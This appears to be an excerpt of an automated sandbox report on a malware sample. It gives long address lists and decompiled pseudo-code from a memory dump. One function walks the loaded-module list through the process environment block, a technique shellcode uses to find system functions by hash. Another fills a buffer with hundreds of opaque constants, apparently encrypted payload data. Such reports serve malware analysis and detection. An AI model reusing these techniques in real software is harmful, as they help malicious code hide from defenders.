0x003161a7
0x003161a7
0x003161ac
0x003161af
0x003161af
0x003161b1
0x003161b6
0x003161b6
0x003161bb
0x003160e0
0x003160e0
0x003160e7
0x003160ea
0x003160ed
0x003160f3
0x003160f9
0x003160f9
0x003160fe
0x003160ff
0x00316100
0x00316101
0x00316101
0x00316106
0x0031610f
0x0031610f
0x00316115
0x00316115
0x00316115
0x00316118
0x0031611a
0x0031611d
0x0031611d
0x00316125
0x00316125
0x003160f3
0x003160de
0x003161c3
0x003161c3
0x003161c6
0x003161c7
0x003161c7
0x003161d1
0x003161d6
0x003161d6
0x003161d7
0x003161d7
0x003161db
0x003163f6
0x003163f6
0x00000000
0x003161e1
0x003161e1
0x003161e1
0x003161e1
0x003161e3
0x003161e3
0x003161e3
0x003161e6
0x003161e6
0x003161ec
0x003161ef
0x003161f1
0x00000000
0x00000000
0x003161f7
0x003161f7
0x003161fa
0x003162b2
0x003162b9
0x003162c1
0x003162c4
0x003162c6
0x003162d7
0x00000000
0x003162e0
0x003162e0
0x003162e0
0x003162e5
0x003162e7
0x003162ee
0x003162f6
0x003162f9
0x003162f9
0x003162c8
0x003162c8
0x003162ca
0x003162cd
0x003162d2
0x003162d2
0x003162fd
0x003162fd
0x003162ff
0x00316301
0x00316304
0x00316307
0x0031630a
0x0031631c
0x0031631c
0x0031632c
0x0031632c
0x00316333
0x00316336
0x00316338
0x00316360
0x0031636e
0x00316371
0x00316378
0x0031637b
0x0031637d
0x00316381
0x00316384
0x00316387
0x00316393
0x00316393
0x00316389
0x00316389
0x00316389
0x00316395
0x003163a0
0x003163a9
0x003163ac
0x003163ae
0x003161e3
0x003161e3
0x00000000
0x0031633a
0x0031633a
0x0031633a
0x0031633a
0x0031633d
0x00000000
0x00000000
0x00316343
0x00316348
0x0031634a
0x0031634b
0x0031634e
0x00316350
0x00316353
0x00316356
0x00316359
0x0031635b
0x00000000
0x0031635d
0x0031635d
0x0031635d
0x00000000
0x0031635d
0x00000000
0x0031635b
0x003165b6
0x003165b6
0x00000000
0x003165b6
0x0031631e
0x0031631e
0x0031631e
0x00316321
0x00316323
0x00316698
0x00316698
0x0031669b
0x00000000
0x00316329
0x00316329
0x00316329
0x00000000
0x00316329
0x00316323
0x0031630c
0x0031630c
0x0031630c
0x0031630f
0x00316316
0x00000000
0x00316316
0x00316200
0x00316200
0x00316205
0x00316208
0x0031628e
0x0031628e
0x00316295
0x00316298
0x0031629d
0x003162a3
0x003162a6
0x003162a9
0x003162a9
0x003162ac
0x00000000
0x0031620e
0x0031620e
0x0031620e
0x00316210
0x00316215
0x0031621d
0x0031621f
0x00316232
0x00316232
0x00316235
0x00000000
0x00316237
0x00316237
0x0031623c
0x0031623c
0x00316240
0x00316240
0x0031624e
0x00316259
0x0031625a
0x0031625d
0x0031625f
0x00000000
0x00000000
0x00316261
0x00316261
0x00316264
0x00316266
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00316266
0x00000000
0x00316240
0x00316221
0x00316221
0x00316221
0x00316224
0x00316226
0x00316268
0x00316268
0x0031626b
0x0031626b
0x0031626e
0x003165ab
0x003165ab
0x00000000
0x00000000
0x00000000
0x00000000
0x00316228
0x00316228
0x00316228
0x0031622a
0x003162af
0x003162af
0x00000000
0x00316230
0x00316230
0x00000000
0x00316230
0x0031622a
0x00316226
0x00000000
0x00316274
0x00316277
0x00316279
0x0031627b
0x0031627c
0x0031627e
0x00316281
0x00316284
0x00316287
0x00316287
0x00000000
0x0031628c
0x00316208
0x00000000
0x003161fa
0x003163b6
0x003163b9
0x003163bc
0x003163be
0x003163c0
0x003166a6
0x003166a6
0x003166a9
0x00000000
0x003163c6
0x003163c6
0x003163d2
0x003163e3
0x003163e3
0x003163ed
0x003163f3
0x00000000
0x003163f3
0x00000000
0x003163c0
0x003161e3
0x00316063
0x00316063
0x00316063
0x00316066
0x00316686
0x00316686
0x0031668d
0x00000000
0x00000000
0x00000000
0x00000000
0x00316066
0x00000000
0x00316061
0x003163fe
0x003163fe
0x003158f8
0x003158f8
0x003158fb
0x003158fd
0x00315900
0x00000000
0x00000000
0x00000000
0x00315900
0x00000000
0x003158f8
0x00315d87
0x00315bbe
0x00315bbe
0x00315bc0
0x00315bc3
0x00315bc5
0x00315bec
0x00315bee
0x00315bf1
0x00315bf3
0x00315bf5
0x00315bf8
0x00315bf8
0x00315bfa
0x00315bfa
0x00315bfa
0x00315bfd
0x00315c00
0x00000000
0x00000000
0x00315c02
0x00315c02
0x00315c04
0x00315c42
0x00315c42
0x00315c45
0x0031655f
0x0031655f
0x00000000
0x00315c4b
0x00315c4b
0x00315c4b
0x00315c4d
0x00315c4e
0x00315c55
0x00315c56
0x00000000
0x00315c56
0x00315c06
0x00315c06
0x00315c06
0x00315c09
0x00315c2f
0x00315c2f
0x00315c36
0x00315c39
0x00315c3c
0x00315c3d
0x00000000
0x00315c0b
0x00315c0b
0x00315c0b
0x00315c0b
0x00315c0e
0x00000000
0x00000000
0x00315c14
0x00315c19
0x00315c1b
0x00315c1c
0x00315c1e
0x00315c21
0x00315c24
0x00315c27
0x00315c2a
0x00000000
0x00315c2c
0x00315c2c
0x00315c2c
0x00000000
0x00315c2c
0x00000000
0x00315c2a
0x00316554
0x00316554
0x00000000
0x00316554
0x00315c09
0x00000000
0x00315c04
0x00315c5b
0x00315c6e
0x00315c75
0x00315c8a
0x00315c8d
0x00316662
0x00316662
0x00316669
0x00000000
0x00315c93
0x00315c93
0x00315c93
0x00315c96
0x00315c96
0x00315c96
0x00315c98
0x00000000
0x00000000
0x00315c9e
0x00315c9e
0x00315ca0
0x00315cfc
0x00315cfc
0x00315cff
0x00315cff
0x00315cff
0x00315d01
0x00000000
0x00000000
0x00315d11
0x00315d11
0x00315d14
0x00315d16
0x00315d30
0x00315d30
0x00315d33
0x00315d35
0x00316587
0x00316587
0x0031658a
0x00000000
0x00315d3b
0x00315d3b
0x00315d3b
0x00315d40
0x00315d42
0x00315d46
0x00315d49
0x00315d4b
0x00315d54
0x00315d4d
0x00315d4d
0x00315d4f
0x00315d4f
0x00315d56
0x00315d5b
0x00315d5b
0x00315d64
0x00315d69
0x00315d6b
0x00315d6e
0x00315d71
0x00315d73
0x00315d76
0x00000000
0x00315d76
0x00315d18
0x00315d18
0x00315d18
0x00315d1b
0x00315d22
0x00000000
0x00315d22
0x00000000
0x00315d16
0x00315d03
0x00315d03
0x00315d08
0x00000000
0x00315ca2
0x00315ca2
0x00315ca2
0x00315ca5
0x00315cc8
0x00315cc8
0x00315ccb
0x00315cce
0x00315cd1
0x00315cd4
0x00315cdc
0x00315cdf
0x00315ce2
0x00315ce5
0x00316575
0x00316575
0x0031657c
0x00000000
0x00315ceb
0x00315ceb
0x00315cee
0x00315cf1
0x00315cf6
0x00315cf7
0x00000000
0x00315cf7
0x00315ca7
0x00315ca7
0x00315ca7
0x00315ca7
0x00315caa
0x00000000
0x00000000
0x00315cb0
0x00315cb5
0x00315cb7
0x00315cb8
0x00315cba
0x00315cbd
0x00315cc0
0x00315cc3
0x00315cc6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00315cc6
0x0031656a
0x0031656a
0x00000000
0x0031656a
0x00315ca5
0x00000000
0x00315ca0
0x00000000
0x00315c96
0x00315bc7
0x00315bc7
0x00315bc7
0x00315bc7
0x00315bca
0x00000000
0x00000000
0x00315bd0
0x00315bd5
0x00315bd7
0x00315bda
0x00315bdc
0x00315bdf
0x00315be2
0x00315be5
0x00315be8
0x00315bea
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00315bea
0x00316549
0x00316549
0x00000000
0x00316549
0x00315bc5
0x00315b7e
0x00315b7e
0x00315b7e
0x00315b7e
0x00315b81
0x00000000
0x00000000
0x00315b87
0x00315b8c
0x00315b8e
0x00315b8f
0x00315b91
0x00315b94
0x00315b97
0x00315b9a
0x00315b9d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00315b9d
0x0031653e
0x0031653e
0x00000000
0x0031653e
0x00000000
0x00315b7c
0x003165c1
0x003165c3
0x003165c6
0x003165c8
0x003165f2
0x003165f2
0x003165f7
0x003165fa
0x003165fc
0x003165fe
0x00316601
0x00316603
0x00316605
0x00316605
0x00316605
0x00316608
0x00000000
0x00000000
0x0031660a
0x0031660a
0x0031660b
0x0031660e
0x00316610
0x00000000
0x00000000
0x00000000
0x00316610
0x00316605
0x00316612
0x00316617
0x00316617
0x0031661b
0x0031661e
0x00316621
0x00316624
0x00316626
0x00316629
0x0031662d
0x00316630
0x00316634
0x00316752
0x00316752
0x00316752
0x00316754
0x00000000
0x0031663a
0x0031663a
0x0031663a
0x00316703
0x00316703
0x00316703
0x00316706
0x00316709
0x00000000
0x00000000
0x0031670b
0x0031670b
0x0031670d
0x0031671a
0x0031671a
0x0031671d
0x00316720
0x003166e7
0x003166e7
0x003166ed
0x003166ed
0x003166f0
0x00000000
0x00316722
0x00316722
0x003166ca
0x003166ca
0x003166ca
0x003166cd
0x00000000
0x00000000
0x003166cf
0x003166d4
0x003166d6
0x003166d9
0x003166db
0x003166dc
0x003166df
0x003166e2
0x00000000
0x003166e4
0x003166e4
0x003166e4
0x00000000
0x003166e4
0x00000000
0x003166e2
0x0031672c
0x0031672c
0x00000000
0x0031672c
0x0031670f
0x0031670f
0x0031670f
0x00316712
0x00316724
0x00316724
0x00000000
0x00316714
0x00316714
0x00316714
0x00316717
0x003166f3
0x003166f3
0x003166fc
0x003166ff
0x003166ff
0x00316700
0x00000000
0x00316700
0x00316712
0x00000000
0x0031670d
0x00000000
0x00316703
0x003165d0
0x00000000
0x003165d0
0x003165d0
0x003165d0
0x003165d3
0x00000000
0x00000000
0x003165d9
0x003165e0
0x003165e3
0x003165e5
0x003165e8
0x003165eb
0x003165ee
0x003165f0
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x003165f0
0x003166c2
0x003166c2
0x00000000
0x003166c2
0x003165c8
0x00315995
0x00315995
0x00315995
0x00315998
0x0031599a
0x0031599e
0x003159a0
0x003159a3
0x003159a6
0x003159ae
0x003159b3
0x003159b6
0x003159b6
0x003159b9
0x003159b9
0x003159c3
0x003159cb
0x003159ce
0x003159d0
0x003159d9
0x003159d9
0x003159de
0x003159df
0x003159e0
0x003159e1
0x003159e1
0x003159e5
0x003159e7
0x003159ed
0x003159f5
0x003159f5
0x003159f9
0x003159fc
0x003159d2
0x003159d2
0x003159d4
0x003159d4
0x003159ff
0x003159ff
0x00315a02
0x00315a04
0x00315a09
0x00315a0c
0x00315a0e
0x00315a11
0x00315a17
0x00315b57
0x00315b57
0x00315b57
0x00315b57
0x00000000
0x00315a1d
0x00315a1d
0x00315a1d
0x00315a20
0x00315a26
0x003158f8
0x003158f8
0x003158fb
0x003158fd
0x00315900
0x00000000
0x00000000
0x00000000
0x00315900
0x003158f8
0x00315a17
0x0031598f
0x00000000
0x00315a2e
0x00315a2e
0x00315a31
0x00315ae3
0x00315aea
0x00315af2
0x00315af5
0x00315af7
0x00315b08
0x00315b08
0x00315b0d
0x00315b0e
0x00315b0f
0x00315b10
0x00315b10
0x00315b14
0x00315b16
0x00315b1a
0x00315b1c
0x00315b24
0x00315b24
0x00315b28
0x00315b2b
0x00315af9
0x00315af9
0x00315afb
0x00315afe
0x00315b03
0x00315b03
0x00315b2e
0x00315b2e
0x00315b30
0x00315b32
0x00315b35
0x00315b38
0x00315b3e
0x00000000
0x00315b40
0x00315b40
0x00315b40
0x00315b43
0x00315b46
0x0031652c
0x0031652c
0x00316533
0x00000000
0x00315b4c
0x00315b4c
0x00315b4c
0x00315b4f
0x00000000
0x00315b4f
0x00315b46
0x00315a37
0x00315a37
0x00315a37
0x00315a3a
0x00315abf
0x00315abf
0x00315ac6
0x00315ac9
0x00315ace
0x00315ad4
0x00315ad7
0x00315ada
0x00315ada
0x00315add
0x00000000
0x00315a40
0x00315a40
0x00315a40
0x00315a42
0x00315a47
0x00315a4f
0x00315a51
0x00315a64
0x00315a64
0x00315a67
0x00000000
0x00315a69
0x00315a69
0x00315a6e
0x00315a71
0x00315a71
0x00315a7f
0x00315a8a
0x00315a8b
0x00315a8e
0x00315a90
0x00000000
0x00000000
0x00315a92
0x00315a92
0x00315a95
0x00315a97
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00315a97
0x00000000
0x00315a71
0x00315a53
0x00315a53
0x00315a53
0x00315a56
0x00315a58
0x00315a99
0x00315a99
0x00315a9c
0x00315a9c
0x00315a9f
0x00316521
0x00316521
0x00000000
0x00000000
0x00000000
0x00000000
0x00315a5a
0x00315a5a
0x00315a5a
0x00315a5c
0x00315ae0
0x00315ae0
0x00000000
0x00315a62
0x00315a62
0x00000000
0x00315a62
0x00315a5c
0x00315a58
0x00000000
0x00315aa5
0x00315aa8
0x00315aaa
0x00315aac
0x00315aad
0x00315aaf
0x00315ab2
0x00315ab5
0x00315ab8
0x00315ab8
0x00000000
0x00315abd
0x00315a3a
0x00000000
0x00315a31
0x003158f8
0x003166b4
0x003166b4
0x003166b4
0x003166b7
0x0031675a
0x0031675a
0x00000000
0x0031675a
0x00315780
0x00315780
0x00315782
0x003157a7
0x003157ac
0x003157b1
0x003157b3
0x003157b5
0x003157b8
0x003157bb
0x00000000
0x00315784
0x00000000
0x00315784
0x00315792
0x00315794
0x00315795
0x00315798
0x0031579a
0x0031579d
0x003157a0
0x003157a5
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x003157a5
0x0031664c
0x00316732
0x00316732
0x0031673b
0x00316740
0x00316740
0x00316743
0x00316746
0x00316749
0x0031674b
0x0031674b
0x0031674e
0x00316750
0x0031675d
0x0031675d
0x00316760
0x00316762
0x00316764
0x00316764
0x00316764
0x00316767
0x00000000
0x00000000
0x00316769
0x00316769
0x0031676a
0x0031676d
0x0031676f
0x00000000
0x00000000
0x00000000
0x0031676f
0x00316764
0x00316762
0x0031674e
0x00316749
0x00315782
0x00000000
0x00315736
0x00315736
0x0031573b
0x0031573c
0x0031573d
0x00315740
0x00315740
0x00315744
0x00315746
0x0031574c
0x00315754
0x00315754
0x00315758
0x0031575b
0x0031575e
0x00000000
0x0031575e
0x00315714
0x00316771
0x00316771
0x00316774
0x00316776
0x0031677b
0x0031677e
0x00316781
0x00316784
0x00316786
0x00316789
0x00316793
0x0031679e
0x003167a1
0x003167a5
0x003167ab
0x003167b1
0x003167b7
0x003167ba
0x003167bd
0x003167c2
0x003167c5
0x003167c7
0x003167cd
0x003167cd
0x003167cf
0x003167d5
0x003167d5
0x003167df
0x003167e5
0x003167ee
0x003167f1
0x003167f4
0x003167f6
0x003167fa
0x003167fd
0x00316803
0x00316803
0x00316805
0x00316805
0x00316805
0x00316807
0x0031680a
0x0031680d
0x00316813
0x00316813
0x00316818
0x00316819
0x0031681a
0x0031681b
0x0031681b
0x0031681b
0x00316820
0x00316820
0x00316823
0x00316826
0x00316831
0x0031683c
0x00316847
0x00316852
0x0031685d
0x00316868
0x00316873
0x00316878
0x0031687b
0x0031687d
0x00316882
0x00316884
0x00316884
0x00316889
0x0031688c
0x0031688c
0x0031688f
0x0031688f
0x00316891
0x00316894
0x00316896
0x00316898
0x0031689c
0x0031689f
0x003168a1
0x003168a1
0x003168a6
0x003168ae
0x003168b2
0x003168b2
0x003168b6
0x003168c0
0x003168c0
0x003168c3
0x003168c5
0x003168c9
0x003168cb
0x003168ce
0x003168d0
0x003168d2
0x003168d2
0x003168d2
0x003168d5
0x003168d8
0x003168db
0x003168de
0x003168e1
0x003168e1
0x003168e4
0x003168e4
0x003168e6
0x003168e8
0x003168ee
0x003168f0
0x003168f2
0x003168f2
0x003168f3
0x003168f3
0x003168f6
0x003168f9
0x003168fb
0x003168fb
0x003168fb
0x003168fd
0x00316902
0x0031690d
0x00316919
0x0031691f
0x00316921
0x00316921
0x00316921
0x00316924
0x00316929
0x0031692c
0x0031692c
0x00316935
0x0031693a
0x0031693a
0x0031693b
0x0031693e
0x00316940
0x00316943
0x00316945
0x00316947
0x0031694b
0x0031694d
0x00316955
0x00316955
0x0031694b
0x00316945
0x003167cf
0x00316958
0x00316960
0x00000000
0x00316960
0x00316657
0x00316657
0x00000000

Memory Dump Source

Source File: 0000000A.00000002.1414610091.00311000.00000020.sdmp, Offset: 00310000, based on PE: true

Associated: 0000000A.00000002.1414603634.00310000.00000002.sdmp
Associated: 0000000A.00000002.1414623091.0031F000.00000002.sdmp
Associated: 0000000A.00000002.1414628275.00320000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_310000_363.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 976d33d12f5bf7c73faae50bba1f488d3f2accc8c83debf1edba0ab9f863786e
Instruction ID: 68386330034e9112cf995acbe8dffe56022da89e3b9b8eb76e659630843b9b9e
Opcode Fuzzy Hash: 976d33d12f5bf7c73faae50bba1f488d3f2accc8c83debf1edba0ab9f863786e
Instruction Fuzzy Hash: AF128071E1462ADBCF0ECFA9C8911FDBBB1BF88300F15816AD866A7744D7349981DB90

Uniqueness

Uniqueness Score: 0.00%

Function 00311530, Relevance: .0, Instructions: 19
COMMON

C-Code - Quality: 94%

			E00311530(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				intOrPtr _t3;
				void* _t5;
				intOrPtr* _t10;
				intOrPtr* _t12;

				_t3 =  *[fs:0x30];
				_t5 = __ecx;
				_t10 =  *((intOrPtr*)(_t3 + 0xc)) + 0xc;
				_t12 =  *_t10;
				if(_t12 == _t10) {
					L3:
					goto 0x330211;
					return _t3;
				} else {
					while(1) {
						_t3 = E003113A0( *((intOrPtr*)(_t12 + 0x30)));
						if(_t3 == _t5) {
							break;
						}
						_t12 =  *_t12;
						if(_t12 != _t10) {
							continue;
						} else {
							goto L3;
						}
						goto L5;
					}
					goto 0x330224;
					asm("int3");
					return _t3;
				}
				L5:
			}

0x00311530
0x0031153c
0x0031153e
0x00311541
0x00311545
0x00311559
0x00311559
0x0031155e
0x00311547
0x00311547
0x0031154a
0x00311551
0x00000000
0x00000000
0x00311553
0x00311557
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00311557
0x0031155f
0x00311564
0x00311565
0x00311565
0x00000000

Memory Dump Source

Source File: 0000000A.00000002.1414610091.00311000.00000020.sdmp, Offset: 00310000, based on PE: true

Associated: 0000000A.00000002.1414603634.00310000.00000002.sdmp
Associated: 0000000A.00000002.1414623091.0031F000.00000002.sdmp
Associated: 0000000A.00000002.1414628275.00320000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_310000_363.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fb3b20853c12e01583646f0bc9b5b796af15d36b12eeb5013d60b718caa977e6
Instruction ID: 2ca2625af3a8cd343b6f2d0a27bd3bda16f1928f2e51ed4ba0563f98f40b7fc3
Opcode Fuzzy Hash: fb3b20853c12e01583646f0bc9b5b796af15d36b12eeb5013d60b718caa977e6
Instruction Fuzzy Hash: 94E0C232500410CBC77B9A4888C09E6F3BFEBCA7A072B081AD66AA7A00C334BC808740

Uniqueness

Uniqueness Score: 0.00%

Function 003121B0, Relevance: .0, Instructions: 3
COMMON

C-Code - Quality: 100%

			E003121B0() {

				return  *((intOrPtr*)( *[fs:0x30] + 0x1d4));
			}

0x003121bc

Memory Dump Source

Source File: 0000000A.00000002.1414610091.00311000.00000020.sdmp, Offset: 00310000, based on PE: true

Associated: 0000000A.00000002.1414603634.00310000.00000002.sdmp
Associated: 0000000A.00000002.1414623091.0031F000.00000002.sdmp
Associated: 0000000A.00000002.1414628275.00320000.00000004.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_310000_363.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98b478bd1af69a2275d0ab39f1ac079ffe73a0c4551ec61df12d917ad4ecd62f
Instruction ID: dd1ea78877d89c8c1f21003391c56dd86dd10fe21c56db2a52adb93900471d7c
Opcode Fuzzy Hash: 98b478bd1af69a2275d0ab39f1ac079ffe73a0c4551ec61df12d917ad4ecd62f
Instruction Fuzzy Hash: 8EA00275752980CFCE12CB09C394F9073F4F744B41F0504F1E80997A11C238A900CA00

Uniqueness

Uniqueness Score: 0.00%

Function 00316E3A, Relevance: 49.4, APIs: 1, Strings: 27, Instructions: 447
libraryUNIQUE

C-Code - Quality: 99%

			E00316E3A(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t431;
				void* _t441;

				_t431 = __ebx;
				 *((intOrPtr*)(_t441 - 0x6a4)) = 0x15c250b;
				 *((intOrPtr*)(_t441 - 0x6a0)) = 0x3c051136;
				 *((intOrPtr*)(_t441 - 0x69c)) = 0xd3ade4a7;
				 *((intOrPtr*)(_t441 - 0x698)) = 0x23973baa;
				 *((intOrPtr*)(_t441 - 0x694)) = 0x8feb665e;
				 *((intOrPtr*)(_t441 - 0x690)) = 0xf45a03e8;
				 *((intOrPtr*)(_t441 - 0x68c)) = 0xa9d84069;
				 *((intOrPtr*)(_t441 - 0x688)) = 0x519e252e;
				 *((intOrPtr*)(_t441 - 0x684)) = 0x72492224;
				 *((intOrPtr*)(_t441 - 0x680)) = 0xb176f537;
				 *((intOrPtr*)(_t441 - 0x67c)) = 0x6df80dbd;
				 *((intOrPtr*)(_t441 - 0x678)) = 0x8d44ae7c;
				 *((intOrPtr*)(_t441 - 0x674)) = 0x82735d85;
				 *((intOrPtr*)(_t441 - 0x670)) = 0x81110df8;
				 *((intOrPtr*)(_t441 - 0x66c)) = 0x488c56e3;
				 *((intOrPtr*)(_t441 - 0x668)) = 0x52b634b4;
				 *((intOrPtr*)(_t441 - 0x664)) = 0x5bcccbc7;
				 *((intOrPtr*)(_t441 - 0x660)) = 0x6ce1ad93;
				 *((intOrPtr*)(_t441 - 0x65c)) = 0x18270280;
				 *((intOrPtr*)(_t441 - 0x658)) = 0x7d120895;
				 *((intOrPtr*)(_t441 - 0x654)) = 0x7701c908;
				 *((intOrPtr*)(_t441 - 0x650)) = 0xebb622a7;
				 *((intOrPtr*)(_t441 - 0x64c)) = 0xfdbe9ca9;
				 *((intOrPtr*)(_t441 - 0x648)) = 0xe60fd890;
				 *((intOrPtr*)(_t441 - 0x644)) = 0xb6543cc6;
				 *((intOrPtr*)(_t441 - 0x640)) = 0xe5169853;
				 *((intOrPtr*)(_t441 - 0x63c)) = 0x7d4787a;
				 *((intOrPtr*)(_t441 - 0x638)) = 0xa0c30ed4;
				 *((intOrPtr*)(_t441 - 0x634)) = 0xfd3621c5;
				 *((intOrPtr*)(_t441 - 0x630)) = 0x294d912;
				 *((intOrPtr*)(_t441 - 0x62c)) = 0x7b912c78;
				 *((intOrPtr*)(_t441 - 0x628)) = 0xaa9dcd8b;
				 *((intOrPtr*)(_t441 - 0x624)) = 0x3ee2b3a;
				 *((intOrPtr*)(_t441 - 0x620)) = 0x3764e3bc;
				 *((intOrPtr*)(_t441 - 0x61c)) = 0xfe482db4;
				 *((intOrPtr*)(_t441 - 0x618)) = 0x2912578c;
				 *((intOrPtr*)(_t441 - 0x614)) = 0x4209f774;
				 *((intOrPtr*)(_t441 - 0x610)) = 0x93d3b108;
				 *((intOrPtr*)(_t441 - 0x60c)) = 0x98fb9689;
				 *((intOrPtr*)(_t441 - 0x608)) = 0xcb37421f;
				 *((intOrPtr*)(_t441 - 0x604)) = 0x3f52b2bc;
				 *((intOrPtr*)(_t441 - 0x600)) = 0xdea254cc;
				 *((intOrPtr*)(_t441 - 0x5fc)) = 0x429953b4;
				 *((intOrPtr*)(_t441 - 0x5f8)) = 0x2ee21470;
				 *((intOrPtr*)(_t441 - 0x5f4)) = 0x177f19c5;
				 *((intOrPtr*)(_t441 - 0x5f0)) = 0x80f61f63;
				 *((intOrPtr*)(_t441 - 0x5ec)) = 0x462bf458;
				 *((intOrPtr*)(_t441 - 0x5e8)) = 0xafb7c123;
				 *((intOrPtr*)(_t441 - 0x5e4)) = 0xa6c57ec9;
				 *((intOrPtr*)(_t441 - 0x5e0)) = 0x69f2f53a;
				 *((intOrPtr*)(_t441 - 0x5dc)) = 0x89111520;
				 *((intOrPtr*)(_t441 - 0x5d8)) = 0xa5bd2416;
				 *((intOrPtr*)(_t441 - 0x5d4)) = 0x730f6b51;
				 *((intOrPtr*)(_t441 - 0x5d0)) = 0x91fc1fe;
				 *((intOrPtr*)(_t441 - 0x5cc)) = 0xa095249b;
				 *((intOrPtr*)(_t441 - 0x5c8)) = 0xaac500fa;
				 *((intOrPtr*)(_t441 - 0x5c4)) = 0x47184814;
				 *((intOrPtr*)(_t441 - 0x5c0)) = 0x8d98e306;
				 *((intOrPtr*)(_t441 - 0x5bc)) = 0x6303b070;
				 *((intOrPtr*)(_t441 - 0x5b8)) = 0xb2cb8926;
				 *((intOrPtr*)(_t441 - 0x5b4)) = 0x85f57f16;
				 *((intOrPtr*)(_t441 - 0x5b0)) = 0x27d13708;
				 *((intOrPtr*)(_t441 - 0x5ac)) = 0x8b71895e;
				 *((intOrPtr*)(_t441 - 0x5a8)) = 0x3bae59ec;
				 *((intOrPtr*)(_t441 - 0x5a4)) = 0xfb0bdb1b;
				 *((intOrPtr*)(_t441 - 0x5a0)) = 0xa72b3f9e;
				 *((intOrPtr*)(_t441 - 0x59c)) = 0x4daea654;
				 *((intOrPtr*)(_t441 - 0x598)) = 0x92e30cf7;
				 *((intOrPtr*)(_t441 - 0x594)) = 0x3656c7cc;
				 *((intOrPtr*)(_t441 - 0x590)) = 0x6e0670d7;
				 *((intOrPtr*)(_t441 - 0x58c)) = 0x3d4218ce;
				 *((intOrPtr*)(_t441 - 0x588)) = 0x3f25b269;
				 *((intOrPtr*)(_t441 - 0x584)) = 0x111c0e8b;
				 *((intOrPtr*)(_t441 - 0x580)) = 0xccb99784;
				 *((intOrPtr*)(_t441 - 0x57c)) = 0x55446dd6;
				 *((intOrPtr*)(_t441 - 0x578)) = 0x2d43ed57;
				 *((intOrPtr*)(_t441 - 0x574)) = 0xb9f97f69;
				 *((intOrPtr*)(_t441 - 0x570)) = 0xe0a7aeb7;
				 *((intOrPtr*)(_t441 - 0x56c)) = 0x11d06808;
				 *((intOrPtr*)(_t441 - 0x568)) = 0xcf8cc1d;
				 *((intOrPtr*)(_t441 - 0x564)) = 0x1dfbe416;
				 *((intOrPtr*)(_t441 - 0x560)) = 0xf4cf041b;
				 *((intOrPtr*)(_t441 - 0x55c)) = 0xc783c534;
				 *((intOrPtr*)(_t441 - 0x558)) = 0xead2883b;
				 *((intOrPtr*)(_t441 - 0x554)) = 0x88a0b7a1;
				 *((intOrPtr*)(_t441 - 0x550)) = 0x73666ab3;
				 *((intOrPtr*)(_t441 - 0x54c)) = 0x5a6299ec;
				 *((intOrPtr*)(_t441 - 0x548)) = 0xa86132fa;
				 *((intOrPtr*)(_t441 - 0x544)) = 0xe49feb6b;
				 *((intOrPtr*)(_t441 - 0x540)) = 0x34b60a2;
				 *((intOrPtr*)(_t441 - 0x53c)) = 0x82a46e1e;
				 *((intOrPtr*)(_t441 - 0x538)) = 0x41a9fe0;
				 *((intOrPtr*)(_t441 - 0x534)) = 0x64a5543b;
				 *((intOrPtr*)(_t441 - 0x530)) = 0x9a83613f;
				 *((intOrPtr*)(_t441 - 0x52c)) = 0x52f7e03a;
				 *((intOrPtr*)(_t441 - 0x528)) = 0xd78a5f3f;
				 *((intOrPtr*)(_t441 - 0x524)) = 0xfb683151;
				 *((intOrPtr*)(_t441 - 0x520)) = 0xa4c56b7a;
				 *((intOrPtr*)(_t441 - 0x51c)) = 0x96027acc;
				 *((intOrPtr*)(_t441 - 0x518)) = 0x39116e70;
				 *((intOrPtr*)(_t441 - 0x514)) = 0x80234d3a;
				 *((intOrPtr*)(_t441 - 0x510)) = 0x1cf1656b;
				 *((intOrPtr*)(_t441 - 0x50c)) = 0xd9e5d77f;
				 *((intOrPtr*)(_t441 - 0x508)) = 0xee2d6b36;
				 *((intOrPtr*)(_t441 - 0x504)) = 0x81fc3f80;
				 *((intOrPtr*)(_t441 - 0x500)) = 0xf4dee0de;
				 *((intOrPtr*)(_t441 - 0x4fc)) = 0x83802837;
				 *((intOrPtr*)(_t441 - 0x4f8)) = 0xb2f1e084;
				 *((intOrPtr*)(_t441 - 0x4f4)) = 0xb36cbe34;
				 *((intOrPtr*)(_t441 - 0x4f0)) = 0xf0e0bf95;
				 *((intOrPtr*)(_t441 - 0x4ec)) = 0xe0a285cd;
				 *((intOrPtr*)(_t441 - 0x4e8)) = 0xfcc82be4;
				 *((intOrPtr*)(_t441 - 0x4e4)) = 0xe76dfedb;
				 *((intOrPtr*)(_t441 - 0x4e0)) = 0x97265281;
				 *((intOrPtr*)(_t441 - 0x4dc)) = 0xd95d1b17;
				 *((intOrPtr*)(_t441 - 0x4d8)) = 0x389b7bda;
				 *((intOrPtr*)(_t441 - 0x4d4)) = 0x71cdd7c5;
				 *((intOrPtr*)(_t441 - 0x4d0)) = 0x8c5f31f3;
				 *((intOrPtr*)(_t441 - 0x4cc)) = 0xe7d5da16;
				 *((intOrPtr*)(_t441 - 0x4c8)) = 0x7914131d;
				 *((intOrPtr*)(_t441 - 0x4c4)) = 0x155a36fc;
				 *((intOrPtr*)(_t441 - 0x4c0)) = 0xa7e50a64;
				 *((intOrPtr*)(_t441 - 0x4bc)) = 0x690dad47;
				 *((intOrPtr*)(_t441 - 0x4b8)) = 0xa3007a7e;
				 *((intOrPtr*)(_t441 - 0x4b4)) = 0xe02e00fa;
				 *((intOrPtr*)(_t441 - 0x4b0)) = 0x329eeddf;
				 *((intOrPtr*)(_t441 - 0x4ac)) = 0xae353d2;
				 *((intOrPtr*)(_t441 - 0x4a8)) = 0x166413b8;
				 *((intOrPtr*)(_t441 - 0x4a4)) = 0x8918e5f3;
